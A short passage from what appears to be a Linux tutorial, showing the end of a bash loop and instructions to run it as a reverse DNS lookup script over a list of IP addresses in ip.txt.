echo "$item" result is NULL
fi
done
Just save this code above in your Linux/*nix machine, and run this command as below:
root@box:~# cat ip.txt | xargs bash reverse_dns
The result should be like this:
